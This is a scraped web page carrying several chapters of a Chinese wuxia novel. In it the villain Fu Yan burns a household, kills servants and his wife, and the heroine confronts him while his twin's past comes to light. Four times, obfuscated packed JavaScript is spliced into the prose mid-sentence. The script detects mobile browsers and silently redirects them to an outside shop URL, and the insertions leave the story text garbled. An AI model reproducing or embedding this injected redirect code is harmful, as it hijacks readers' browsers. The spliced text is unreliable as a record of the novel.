她手足无措地在房间里转了一周,又回到桌边,再喝下一盏茶水。 如此冬月,茶水搁了几个时辰,早已沁凉如冰。然而这如冰的水灌进身体,焦躁灼热却不减反增,郑香月秀眉紧蹙,在屋子里不住地来回踱步,最后,终于又在桌边停下了。 她将双手举到眼前,一瞬不瞬地看着。看着。好像在分辨手心的每一条纹路。 突然,她却猛地拉开抽屉,拿出一把剪刀,就要朝手掌刺下! 安晏不由得大惊失色,可想去阻止已然不及。眼见刀尖触上肌肤,突然有一只手,紧紧钳住了郑香月的手腕。 “月儿,”谢檐长将剪刀从她手中取走,眼中满是疼惜,“你这是怎么了,不要做傻事。” “檐长……”郑香月怔怔抬起头,泪水已如碎玉琼珠簌簌零落,“都是我的错……阳儿他……是我该死,你不要拦着我……” 顿了顿,目光却又黯了,“不,我不能死……我应该活着,痛苦地活着……” 谢檐长望了仍在熟睡的郑楚泽一眼,放下剪刀,将郑香月拉到外室。 “不要乱想了,我会一直陪着你。”他轻轻抚着她的长发,话音温柔而心疼,“你若受了伤,父亲会难过,我也会难过,泽儿也一定希望他的娘亲健康平安,幸福快乐。” 郑香月靠上谢檐长胸口,长睫犹挂着盈盈泪珠:“可我……如何配得幸福快乐……” “月儿,”谢檐长柔声唤她,将她揽在怀中,“我们再要一个孩子吧。” 郑香月的身体倏忽一抖。 “不要……不要——!”她仿似看到了什么可怕的景象,猛地挣开谢檐长,全身颤抖不停,“你走……我不要……不……” 语音却转瞬微弱,终而,如劫火尽灭,只余下一地残灰。 谢檐长接住了郑香月脱力晕倒的身子。 他抱起她,一步步向床榻走去,每走一步,眸子就沉冷一分,直到终于将她放到床上,他的双眸,也没有了任何温度。 他忽然觉得,有些无趣了。 郑香月始终时而清醒,时而混乱。清醒之时,她常常试图伤害自己,来减轻心底的悔恨;混乱之时,她眉眼温柔,举止得体,反倒更像是一个正常人。 却都在常理之中,他渐渐猜透了,便觉无趣了。 夜色已深,今夜乌云蔽月,更衬得碌碌世间了无意趣。他难得有些倦了,便吹熄灯烛,合上窗扉,也自去睡了。 窗外,安晏隐在脉脉枝叶间,却不由得心生踟蹰。 她忽然犹豫,此时此刻,她是否依然应该杀死他。 她几乎可以肯定,谢檐长就是伏焱。然而如今的他,已是妻子的丈夫,孩子的父亲。 若他死了,他的妻子、孩子,该怎么办? ———————————— 夜半。 山野人远,只余风声,月色隐在云中,天地便只剩下了昏昧一片。 黑暗里,窗沿忽然轻轻一响。 墨白神色微动,转目看向袁清明,后者睡梦正酣,似乎全然未闻。他下了床,没有发出任何声音,披上一件长袍,离开了木屋。 转过山脚,朔风凄寒,他看见了高言雀正在等他。 他身边,却还有另一个黑衣人。 “墨公子。”那人见他走来,一拱手,话音却清冷得全无恭敬之意,“阁主有话,叫我带给你。” “讲。”墨白意简言赅地道。 那人微顿,将眼梢微微眯起:“你定然已经知晓,与你同行的那个女人,打算杀死伏焱。阁主让你寻找时机,杀了她。” 墨白淡淡瞥向他,话音平静如古井:“我若不听呢?” 此话一出,高言雀不由得一顿,抬眼向二人看去。 那人却冷笑起来,话中尽是讥诮:“墨公子,你该不会真如传言所说,爱上她了吧?” “既是传言,有何可信。”墨白面容清淡,殊无表情。身居高位,自然会招惹嫉恨,阁中不服他的人很多,想拉他下马的人也很多。他虽长于筹谋,又得阁主信任倚重,无人能真的伤到他,他却实在不喜欢今日算计明日,左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065316|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手算计右手的生活。 只是,违抗阁主命令,总要给出一个理由。 朔风低徊,他的声线比荒野更静更冷:“安晏不能死,她是一个很重要的人。或者,应该说,她的师父是很重要的人。” 那人目不转睛地盯着墨白,似乎想从他脸上看到一隙动摇。然而他最终失败了,只得硬声道:“希望你所言属实,莫要辜负阁主信任。” 墨白冷然道:“阁主信我,自然比信你多些。” 那人目光一寒,几乎按捺不住而拔刀相向,但他终究忍耐住了,咬牙道:“那女人可以暂时不死,但你要牢牢记住,伏焱也不能死。” “知道了。”墨白扔下冰冷的三个字,似乎不想再与他多说一句。 那人也不想继续留在这里,话已传到,他敷衍地一拱手:“既如此,我就回去复命了。”也不等墨白首肯,转身便走,黑衣墨发,迅速融进了夜色。 高言雀这时才躬身启口:“墨公子可还有其他吩咐?” “你也走吧。”墨白转过身,脚步顿了顿,“这八九日间,什么都不会发生。你也不必日日候着,自行休息吧。” 高言雀不禁惊讶地抬起头,墨白长衣缓带,已消失在了山野之间。 ———————————— 墨白的预言很准。 一连九日,安晏蹲在郑府,观察谢檐长和郑香月的生活。 郑香月的生活十分单调,就是围着郑楚泽转。早上郑楚泽醒来,她也跟着一起起床,此时谢檐长通常已经洗漱穿戴,准备去前院处理一日事务了。谢檐长会同郑香月道一声别,再叮嘱婢女几句,语气始终温淡轻和,却都是日复一日同样的话语。 安晏在院内观察了几日,郑香月会和郑楚泽一起吃饭,再陪他玩闹,小孩子午睡时,她也会一同小憩片刻。后来,她又去前院观察了几日,郑家生意遍及整个沐山郡,账目繁多,谢檐长常要看上大半日,偶有客人拜访,他出面招待,谈笑之间,全无半分伏焱那残忍冰冷的影子。 傍晚时分,谢檐长回到院子,陪同妻儿吃饭,饭后他会遣走所有婢女家仆,在厅中伏案读卷,仍是郑香月陪着郑楚泽,直到他入睡。 直到此刻,所有的一切,都再平常不过了。 然而,郑楚泽睡下之后,郑香月便开始渐渐焦躁,想法子自残。 剪刀、茶碗、炭火、绫罗、烛焰……似乎每一件物事,都可以成为杀死自己的凶器。 每一次,谢檐长都会在第一时间阻止——他若是伏焱,屋内响动,自然瞒不过他——温言相劝一阵,陪她更衣入睡。一连过了九日。 但,第十日,当郑香月翻找出绣衣的针,往手臂上刺去的时候,谢檐长没有阻拦。 他站在门边,面无表情地看着,看着郑香月似哭似笑,似痛苦似快乐,点点血珠从针下渗出,衬着莹白的肌肤,如同雪中盛开的梅花——最后,却只余下疯狂。 他忽然抬手,指间凝出一团气流,重重一弹,击在郑香月后颈。 郑香月手中的动作停止了,身子跌落,他却没有去扶。 他转过视线,望向窗外那一棵高大蓬勃的树,清透的月色铺展在他长睫,他的目光却如洪荒万古不可一测。 “你还想看什么呢,小大夫?” 33. 你会后悔的 安晏从树上跃下,抓紧了腰侧的剑。 谢檐长这一问,已然承认了他的身份。 他们一人在内,一人在外,隔着雕花木窗,月华抹上长衣墨发,好似在二人身周结了一层微薄的霜。 安晏先开了口:“你到底想做什么?” 她越来越无法理解他,甚至揣度他。 谢檐长——伏焱幽幽一笑:“你觉得呢?” 安晏声线微冷:“是不是你,杀死了那孩子的哥哥?” 伏焱的神色毫无波动:“是。” 安晏心口一窒,再说出口的话,便染上了颤抖:“为什么……他,不是你的孩子吗?” 伏焱的笑幽谧如魅,他似乎很喜欢看安晏挣扎,他也从来不想在她面前,隐藏他残忍冷漠的本性:“他当然是我的孩子,也是月儿的孩子。我杀了他,是因为我想知道,月儿会做出怎样的选择,是因为我想亲眼看一看,母亲杀死了孩子,会变成怎样的人。” “你,你是什么意思……”安晏似懂非懂,他的话令她一阵心惊,“你在说什么?她做出选择?她……杀死了孩子?难道你……” 她突然记起袁清明说过,当日杀害小公子的凶手身形高大,与那夜袭击她的杀手十分相似,而与谢檐长不同。 她突然记起郡府案卷记载,郑香月曾言,凶手逼迫她杀死小公子,然郑香月神志混乱,此番言论,不可为证。 伏焱笑了,似乎很是欢愉:“小大夫,你果然聪明。” 寒意自心底漫起,令她指尖微微一抖。 可最后,她还是只能问:“为什么?”就为了,那莫名的,荒谬的理由? 伏焱的笑,又一分分冷淡下来。 他直直地看着安晏,月光清泠,映得他双眼亮如妖鬼:“小大夫,这两年间,你调查了我那么多的事情,你知道我的母亲在哪吗?” 安晏一时怔住。她不知道他是在问她,或是反问她。 “乐平县,苗竹村。”伏焱笑了一声,却转开视线,望向那一轮高邈的月,“如今说起,倒真有点怀念的意味。” “那里是,你的家乡?” “家乡吗?”伏焱没有回头,“怀念吗?还是消失了好。不过,已经没有人了吧。” 安晏眉心紧蹙:“发生了什么?” 伏焱却似未闻,独自絮絮道:“母亲不在了,谁都不在了,我也不在了,弟弟……” 忽然一顿,嘴角一瞬间冷了:“墨白呢?” 安晏仍握着剑柄,手心一层细汗:“他未与我同来。” “哦……”伏焱便叹了口气,仿佛失落极了。 “墨白,到底是你的什么人?”安晏再度问,她几乎觉得,伏焱已然疯了。 “他当然是我的弟弟。”伏焱望向安晏,微微笑着,目光浮现出某种诡异的温柔,“是我的弟弟啊,同父同母,同日出生,我嫡亲的双胞胎弟弟,就像——阳儿与泽儿一样。” 安晏死死地盯着他,却一句未言。 伏焱也看着她,又好似并未看着她。他的神思仿佛回溯到很遥远的地方去了,又仿佛,确实是在与她说明。 “你看,一模一样。哥哥走了,弟弟还在。哥哥死了,弟弟活着。哥哥记得,弟弟忘了。母亲做了选择,她去了哪里,母亲也不在了。她到底要哥哥,还是要弟弟?” “伏焱!”安晏压着心头的惶恐,她的脑中似乎有无数的点即将串联成线,可是她不敢去看,不敢去猜,“到底发生了什么?你若是墨白的兄长,你们当初为何会分开?你的母亲出了什么事?建德县郊外的明思院里,究竟发生了什么?” 伏焱面上的神色停滞住了。 他的眸子似乎空洞了一瞬,而后重新填满了如冰的月色。他再次望向安晏,目光明亮如刀,刚才短暂的失神仿佛只是一场错觉。月夜疏凉,他勾起嘴角,已变回了那一个恶魔:“小大夫,你不杀我吗?” 安晏紧咬着牙,却未回答。 伏焱仿佛了然地笑了:“你不杀我,是因为泽儿吗?是因为月儿吗?还是因为你自己?” 安晏无法回答。 伏焱忽然抬起手。 安晏悚然一惊,忙向后退了一步,伏焱却笑得更开,将手扶在窗棂上。 “我也不会杀你,但我知道,你不信,这就对了。”他似乎很满意她满身戒备的样子,“我要睡了,关于你的问题,你可以先去问一问墨白。关于我的问题,你可以继续犹豫,我就在这里等你。” “不过,你会后悔的。” 说完,他当真合上了窗户,安晏听见他将郑香月搬到床上,随即灯灭,他也上了床。 朔夜的风沉重而寒冷,月光惨白,照亮了一地的霜。安晏慢慢地将手从剑柄上移开,却望着那扇漆黑的窗,独自立了许久。 屋内的呼吸声渐渐沉了,伏焱竟真的,睡着了。 虽然她知道只要她拔出剑,他一定立即会醒,可是她,终究走了。 院子一角,月光难及,幽暗的阴影中,有一个人,如石塑般立着。 没有一星声息,没有任何表情。 正是墨白。 ———————————— 夜深了,长街已经无人,安晏踽踽独行,不知该往何处。 她不想回到沐山下的木屋,不想再连累墨白甚至袁清明。她不想再回郑府,她不知道该如何面对伏焱,甚至郑香月和郑楚泽。 她随意找了一家客栈,连日睡在树上,她实在乏了,连着思绪也逐渐混沌。她想,她是应该先好好地睡一觉,什么都不要思考,明日的事,明日再说。 若能如此便好了。 可她始终不够果断,也不够坚决,竟在床上又躺了半宿,直到天际渐渐发白,才终于迷迷糊糊地进入睡梦。 她想回家了。她想回到那青翠竹林当中的小小院落,她想采一捧五颜六色的花放在床头,她想把挂了满院子的草药一株一株摘下。她想师父了。 ———————————— 然而,只睡了两个时辰,她就被外间的声音吵醒了。 “听说了吗,郑家失火了!” “就算没听说,还看不见吗?瞧那大火,半边天都烧红了!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076469|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唉,郑家这一年,真是不太平啊。” “哎,郑老爷,还有郑姑娘和谢公子,怎么样了?” “据说没见一个人出来,我瞧着……是凶多吉少了。” “郡府呢?郑家与郡府历来交好,怎不见郡府派兵营救?” “整个院子都烧起来了,你自己去看看,火势凶猛,谁去了也没用!郡府士兵也不可能白白送死吧!” 安晏刷地打开门,门外几个食客正在议论,都不禁吓了一跳。 安晏掠了他们一眼,再无停顿,飞快地冲出门外,向郑府奔去。 “你会后悔的。” ——伏焱的话,原来是这个意思吗? 他不是说会等她吗?他竟只肯等这一夜吗?他究竟是从什么时候决定,要烧了整个郑家! 赶到郑府院外,门前围了数十官兵,正拿着木桶浇水灭火。然而院墙上似乎淋了油,火势汹汹,如浪滔天,官兵不敢贸然近前,杯水车薪,也全然于事无补。 安晏没有理会他们,绕到后墙离伏焱院落稍近一处,跃了进去。 府内,一地尸首,血流如溪。 那些人,却不是被大火烧死的,而是被利刃抹断了咽喉。 他们,是被伏焱杀死的。 安晏又痛又怒,心底蔓延的自责令她周身冰冷,如坠噩梦。 又一次……她又一次,害死了那么多的人。 仿佛三年之前的雨夜,她救下负伤在身,一身鲜血的伏焱。那时她还不知道他是怎样的人,只想着她是医者,便该救人。那时他醒来之后,对她说的第一句话,却不是感谢或质问,而是虚弱地轻挑嘴角,告诉她,她一定会后悔救了他。 因为,她救活了一个恶魔。 是啊,那时……他便已告诉她,他是一个恶魔,他若活下去,会杀死很多很多的人。 他真的如他所言,杀死了二十四户曾经收留过他的人家,杀死了吉祥酒楼老板所有部属,杀死了郑府上下,近百人。 都是因为她救了他,因为她没能杀死他。 “我是大夫,我呢,只管救人,如果大恶人要伤害百姓——就,让你的许姨姨和唐姨姨狠狠地教训他。” 可她不是师父。 她没有许姨姨和唐姨姨那么厉害的同伴,她也不应该只知道依靠他人。她救活的魔鬼,该由她亲手去杀。 她握紧剑柄,小心翼翼地前行,一路上不断能看见死去的郑府家仆,所有人都没了半分气息。火舌吞卷,缠上枝桠,噼剥零落,她绕过最后一道月门,终于看见伏焱白衣玉冠,负手立在庭院正中。 他身边,郑香月倒在地上,郑楚泽在她怀中,两个人,都已昏迷不醒。 看见她,他幽谧地笑了,火焰在他眼底轻摆,像吐着红信的蛇:“小大夫,你来了。” 安晏的目光一瞬间烧起了火! 满院惨状,悲似冥府,他如何竟能无动于衷! ——不,他甚至怡然自得,乐在其中! “伏焱——!”采萧剑铮然出鞘,她拔足而起,剑风烧进她眼底,比烈火更盛,“我要杀了你!” 34. 长命百岁,寿比南山 伏焱却不慌不忙,依旧笑意从容。 银刀如月,刀风如冰,似将这满院炙热的火都隔绝在了数丈之外。安晏到底有几分功夫,他不敢赤手空拳,待剑风袭至,他踏上一步,将手中银光从剑气中平平截了进去! 安晏已转手腕,剑锋变削为斩,重重击在了银刀上! 伏焱的神色终于沉冷。 他向后一步,挑开长剑,又转刃向她虎口刺去,同时右手成掌,重重拍向她左肩! 安晏忙扬起剑锋,格开银刀,向后急退,然而伏焱身形如电,她无法全然避开,只得将将抬掌,对上伏焱的一击! ——却未及凝聚全部真气,这一掌近乎伏焱十成之力,疼痛一瞬间自手掌传入胸腔,她一连退了七步,喉咙竟已泛起血腥! 安晏定住身形,目光却未松动,牢牢注视着伏焱,再度举起了采萧剑。 然而,她却见伏焱身后,走出了一人。 是那日袭击袁清明的杀手。 今次他未蒙面,目色狠戾如野兽,刀尖上犹挂着血,滴滴零落,触目惊心。 “是你……”话音染着血沫,干哑不似人声,“是你杀了郑府这些人?” 伏焱已将银刀收回袖中,眼角复又抹上乖邪的笑:“是他杀的,或是我亲手杀的,有什么区别吗?郑府这些人,迟早都要死。” 他似乎很愿意一遍一遍地告诉安晏,他是一个恶魔。 安晏看着二人,剑尖隐隐颤抖。 伏焱半侧过头:“都死了?” 徐戾微微颔首:“是。” “小大夫被我伤了一掌,心绪也不平稳。”他笑着,如妖似魅,“她不会杀你,你去试一试,能伤她到何种地步。” “是。”徐戾执刀踏上前,伏焱却拽着地上的郑香月,向后退了一步。 刀风已烈。 安晏与徐戾曾交手一招,她的武功,原在他之上。然而伏焱那一掌端实猛厉,胸中气血翻腾,竟仍未平复—— 而且,他说得没错,她心绪不稳,握剑的手……也不够稳。 长刀兜头劈落,安晏忙侧开一步,刀风擦着耳廓削过。采萧剑向徐戾手腕挑去,后者撤步旋身,刀刃便削向她下盘! 安晏眉目沉凝,纵使胸中尚有不适,但终究功法更胜,此刻一脚竟踏上刀脊,另一脚便飞踢向他肩膀! 然而徐戾的功夫也非平常,他抬手,以手肘拦下那一脚,右手长刀猛地抽出,不退反进,再刺向安晏小腹! 安晏忙在空中折过身子,采萧剑已趁势向徐戾脖颈刺去,谁知徐戾却避也不避,长刀凝风,扫向安晏握剑的手! ——竟是两败俱伤,以命换手的一招! 安晏不由得大惊,慌忙收剑撤步,然终究始料不及,长刀划过手臂,仍留下了一道浅淡的血痕。 “你——!” 面前这人是不是疯了?他究竟在想什么?她确然剑术更高,但她不想杀他,若他只攻不防,她…… 来不及细想,长刀映着火光,已迎面刺来! ———————————— 伏焱站在廊下,安静地看着院中缠斗的二人。 确然是缠斗,这般拖泥带水的打法,他很不喜欢。他知道徐戾也不喜欢,他们所学,都是更快,更狠,杀人的刀法。然而,安晏不杀人。 安晏的武功更高,即使他伤她一掌,徐戾仍杀不了她。 但是安晏不杀人,杀意落了下风,便会处处受制。她本可毫发无伤,可十几回合下来,她身上已有七八处伤口。 伏焱觉得,差不多了。 于是他开口,用真气将声音传了出去:“可以了,徐戾。” 徐戾一顿,旋即收刀,然而安晏一剑去势难收,情急中只来得及转过剑刃,将剑身重重拍在了徐戾胸前。 徐戾不由得退了三步,又退了三步,他与安晏缠斗,本就被剑气伤了内息,此时更觉胸腔钝痛,站立不稳,重重跌在了地上。 安晏也晃了晃,失了不少血,她头脑有些昏暝,但终究还是站稳了,又望了徐戾一眼,再度抬起剑,斜斜指向伏焱。 “你……”她咽下喉间的血,双眸也似乎染了血色,“你到底想怎么样?” 伏焱仿佛很好心地解释道:“我说过了,你会后悔的。” 安晏握剑的手一抖。 “郑府上下,包括章管家与所有家仆,大约都死了。”伏焱语气幽凉,眼角却微染笑意,“就算徐戾杀得不够干净,余了几个苟延残喘的,也不要紧。如此火势,谁也逃不出去。” “郑姑娘和小公子,还活着?”安晏质问,目光掠向地上的二人。 “还活着。”伏焱笑着道,“不过,也就快死了。” “郑老爷呢?” “你问了一个很关键的问题。”伏焱愉悦地勾起了嘴角,仿佛安晏正在他的指引下,一步一步走进他布设好的陷阱,“郑老爷也还活着,并且,在一个十分安全,不会被这场大火波及的地方。” 安晏仿佛松了一口气。 他却放声大笑起来:“我倒觉得,他活着,不如死了。他的手筋脚筋都被我亲手挑断了,万千家产付之一炬,女儿和孙儿也就要死了。就算活着,长命百岁,一个孤苦伶仃的残疾,有什么值得庆幸的?” 安晏的呼吸滞住了。 双手已不受控制地剧烈颤抖,她下意识地退了一步,目光悲愤,痛苦,而至折出了烈火滚烫的颜色:“郑家应待你不薄,你为何要这样做……” “杀人,需要理由吗?”伏焱悠悠反问,仿佛她才是不可理喻的那个人,“若你非要听一个理由——常人都说,‘今日之辱,十倍奉还’,他曾看轻于我,我不过是效仿常人,把轻蔑和折辱,十倍奉还给他罢了。” “何需至此……”安晏语气沉痛,“常人不也说,滴水之恩,涌泉相报吗……” “是啊。”伏焱勾起嘴角,在妖亮的火中凝注着她,“我也愿郑老爷长命百岁,寿比南山。” “你……”安晏顿住,半晌,终将视线转向郑香月和郑楚泽,“就算郑老爷千错万错,就算你恨他怨他,郑姑娘有何错处?你们的孩子……又何其无辜!” “不过是杀人,何必找那么多理由,我想杀,便杀了。”伏焱收了笑,看着一地明火,又仿似觉得无趣了,“你仍要一个理由,我便再给你一个——月儿早已不想活了,泽儿本就不该出生。他们死了,也算是死得其所,得偿所愿。” “她不想活了?他不该出生?”安晏不可置信地看着伏焱,“他们今日苦楚,难道不正是你一手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083754|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为之?” 伏焱安静片刻,终于又笑了,比以往每一次都更加危邪,更似妖魅:“的确,正是我一手为之。但事已至此,还是杀死他们,对他们更仁慈,对不对——墨白?” 视线越过了她,而投向她的身后。 安晏一惊,倏然回头,便看见墨白一袭青衫,长眉染霜,正立在月门之旁。 ———————————— “墨公子,你怎么在这?这里太危险了!”安晏忙挡在墨白身前,双眼一瞬不瞬地盯着伏焱,余光却瞥向不远处的徐戾,以免他趁她不备,突然袭击。 心急之余,她忘了仔细去想,正门侧门皆从内反锁,墙垣火浪及天,墨白是如何进了这间院子。 墨白在她身后站定,没有说话。 “小大夫,这一点,你倒不用担心。”伏焱嘴角噙笑,颇有一副看热闹的架势,“墨白是我的弟弟,我能杀死那么多人,我的弟弟,武功也不会比我逊色几分。否则郑府满院大火,他如何能安然无恙,寻到此处?” 安晏一顿,这才突然意识到墨白出现在此处的反常。 可是他……他不是,不会武功吗? 她回过头,看着墨白,后者也正望着她,眸子里光影流转,温柔迷离,她却无法解读。 他从始至终,没有说一句话。 他的衣摆光洁如新,不沾片尘。他的呼吸绵长深厚,是内力极深者,才有的样子。 安晏开口,话音近乎破碎:“他说的……都是真的吗?你,是不是其实武功很高?你是如何进入郑府的?你究竟……是什么人?” 墨白仍未开口,却是伏焱笑了:“小大夫,我实在很意外,你与他同行这么久了,竟然什么都不知道。你盲目相信他,到底是太善良,还是你其实很蠢?” 安晏颤抖着回头:“你都知道些什么?” “小大夫,”伏焱很是耐心,“你一定还记得,三年之前,你在黎州沧年县救了我。” “我记得。”她记得那是一个雨夜,海风潮湿,又连下了几日的雨,树林草地都变得泥泞不堪。她偶然在县城外撞见伏焱的时候,他跌在草丛,身上泥水、雨水和血水混在一起,内息凌乱,伤口遍身,她花了足足五日,才将他从鬼门关前救了回来。 那时她却未能料想,她救下的人,是一个魔鬼。 伏焱续问道:“三年之前,我的武功也比如今的你更高。我趁你熟睡时离去,你并未察觉,你可还记得?” 安晏点了点头,心底好似有什么异样的念头,悄然汩起了泡。 “小大夫,三年了。”伏焱微微眯起双眼,像某种危险的信号,“你可曾想过,墨白为何自称是黎州人?你可曾想过,以我的武功,是什么人,能将我重伤到那般地步?” “啪”的一声,心底那颗气泡,碎了。 她霍然退开两步,已距离墨白一丈之外。火光潋滟,她看着他,终究也只能这样看着他:“是……你?” 墨白沉默未答,却转眼,向伏焱望去。 “三年之前,你带着十个人,在沧年县设下埋伏,意图将我截杀。可惜你们低估了我,我拼着两败俱伤,终究还是逃脱了。”伏焱嘴角如钩,烈烈火焰化不开他眼底的冰霜,“墨白,三年前的事,你可还记得?” 35. 医者的手 墨白沉郁地望着伏焱。 大火烧尽了一切,伏焱终于无需再易容,墨白便看着这张与他几乎一模一样的脸,长睫微掩,隔绝了一世的火光。 他本就不是一个话多的人,当他不演戏的时候,就只剩了沉默。 这几日,安晏所做的一切,他都知道。 他一直在暗中沉默地看着,直到伏焱烧起大火,直到她冲进火中,直到她流了半身的血,却仍对着伏焱举起了剑—— 他终于无法再只是看着,什么都不做了。 也好,时至今日,他也终于,不必再掩藏。 “你是不是真的忘了,自己到底是谁?”伏焱不见墨白回答,忽收了笑,火焰似一瞬繁盛,在他眼底烧出了莽莽荒原,“那么,你还记得母亲吗?”一把抓起郑香月的长发,“你看她,墨白,她是不是就像我们的母亲一样?你告诉我,母亲到底在哪?她到底是死是活?!” 墨白神色微动,终于平淡地开口了。 平淡,清冷,而与这周遭炽烈的火,格格不入。 “我不知道。”他说,“三年前,我确然去杀你,但被你逃脱。不过,虽然你自称是我的哥哥,虽然我们容貌相似,但我不记得你。” ———————————— 这两年,安晏将墨白记忆的第一层封锁解开了。这一层记忆,正是关于三年前他带领麒麟阁暗部,去黎州追杀伏焱一事。那一战惨烈非常,夏初雨落,风烟萧瑟,伏焱孤身力战,遍身染血,杀尽暗部十人——后,被他刺伤。 只是,他本可以杀了伏焱,最后一刀,却偏离了心脉寸许。 那时,伏焱忽然开口称他,“弟弟”。 就在他错愕失神的一瞬,伏焱银刀如电,当胸劈过,鲜血浸透衣衫,这一刀竟险些斩断他的心脉! 狮虎将死,余威犹在。他身边已经无人,只能眼睁睁地看着伏焱挣脱了他,踉跄着离开。 再然后,他的记忆便只有黑暗。 再然后,他从黑暗中醒来,已经什么都不记得。麒麟阁派来了人,告诉他,他们遭遇麒麟阁仇家袭击,他中了埋伏,因而被敌人偷袭得手,幸好暗部来得及时,这才救了他一命。他头部受到撞击,许是因此,忘记了一些事情。 而随即,截杀伏焱的命令换成了擒获。 他虽然心中生疑,究竟是哪个仇家,能将他重伤至此?难道是飞春阁的杀手?但这些,却都是他不需要关心的事了。 这世间大多的事,他都并不关心。 这份疑惑被他搁置在角落,直到半年前,他才在安晏的医治下,慢慢记起了三年前的事。 他却不能明白,为何他的义父,麒麟阁阁主不想让他记得去追杀伏焱的事——他相信抹除他记忆的命令,一定是阁主所下。 他也不能明白,阁主不想让他记起的第二件事——他的身世,究竟是否,仍然与伏焱有关。 ———————————— 而今,伏焱的问题,他亦无法回答。 他不知道母亲在什么地方,他不知道母亲是否仍然活着,他甚至,不记得母亲的样子、姓名。关于母亲的一切,他都一无所知。 伏焱凝定地看着墨白。 “是吗,真没意思。”半晌,伏焱忽低低道,安晏和墨白都来不及反应,他袖中银光一闪,郑香月已气绝! “住手——住手!伏焱!你要做什么!你到底要怎样才肯放过他们!”安晏忙慌乱地举起剑,却无措地不能移动一步。墨白却仍寂静地伫立着,神情未动,只眸底的颜色又深了几分。 伏焱状似未闻,松开手,又弯腰,将郑楚泽拎了起来。 “所有人都觉得,阳儿被杀不可能和我有关,因为不会有人能够如此狠心,杀死自己的孩子。不过,陈督吏似乎不这样认为,所以,他也死了。”伏焱轻轻勾起嘴角,仿佛安晏的挣扎和悲痛,重新给了他欢愉,“小大夫,你如何认为呢?你觉得,我会杀死这个孩子吗?” ———————————— 袁清明大步流星,向郑府赶去。 墨白说不放心,独自去往城中,袁清明坐了半日,也觉得不放心,于是也去了城中。 才入城门,她就听见街上议论,郑府失火了。 再一抬头,长街尽处的天空,竟隐隐透出火光。 她心下焦急,拔足便奔,然而只跑出一条街,就被人拦住了。 “让开!”袁清明厉声,竟顾不得许多,当街抽出短刀。她认出了这个人,是前些日找来木屋,要抓捕墨白与安晏的顾将军。 “姑娘不可去郑府。”顾鸿云严肃地开口道。 “和你有什么关系!”袁清明不想纠缠,打算直接绕过他。 顾鸿云却再次阻拦道:“郑府危险,姑娘不可前去。” “我又不是瞎子,我当然知道危险!”袁清明耐心渐失,短刀一扬,直指向顾鸿云眉心,“但我的朋友就在郑府,我不去救她,难道你去?” “是,我正要前去。”谁知顾鸿云却认真地点了点头,他知道她口中的“朋友”是谁,“我定会救出墨公子与安姑娘,姑娘在城门附近等候即可。” 袁清明顿了顿,似乎有些意外,但最后仍再度握紧了刀:“我不信你,再说,朋友有危险,我不可能只在远处等着!我和你不一样,你今日若不让路,别怪我真的出刀了!” 顾鸿云眉心微顿,却不再说了。 袁清明冷哼一声,不再理会顾鸿云,越过他,继续向郑府赶去。 这一次,顾鸿云没有再阻拦,而是跟在她身后,也一同赶往长街另一端。 ———————————— 安晏的话音尽是哭腔,却仍固执地举起采萧剑。以往行走江湖,只要手上仍握着剑,她就不觉得害怕,她就能找到勇气,可是此刻,她心里只剩了恐惧和慌乱。 “伏焱……我不想觉得,我不知道……到底怎样你才能停手……” 墨白却冷定得仿若雕塑。 伏焱并不回答安晏,眼中妖冶的火艳艳烧着,他噙着笑又问:“你们是不是觉得,我会认为我手中有个孩子,有个人质,你们就无法杀我?” “算我恳求你……伏焱,不要再杀人了,他们没有错……他是你的孩子啊……”安晏不敢回答,她无法看懂伏焱的心思,但她始终不敢出剑,的确是因为他手中的两个人。 现在,只剩了一个人。 墨白仍旧安静。 自走进这院子,他甚至未动一步,也只说了那么一句话。 好像炽烈的火,滚烫的血,都太过稀松平常,而无法令他动摇半分。 安晏却早已顾不上墨白,一遍一遍地恳求着伏焱。她不敢上前,也不能离开,她宁愿郑楚泽是伏焱的人质,这样,至少伏焱不会再杀害他。 ——然而,她却听见伏焱幽幽开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091001|193148||http|test|mini|href|location''.split(''|''),0,{})); () { 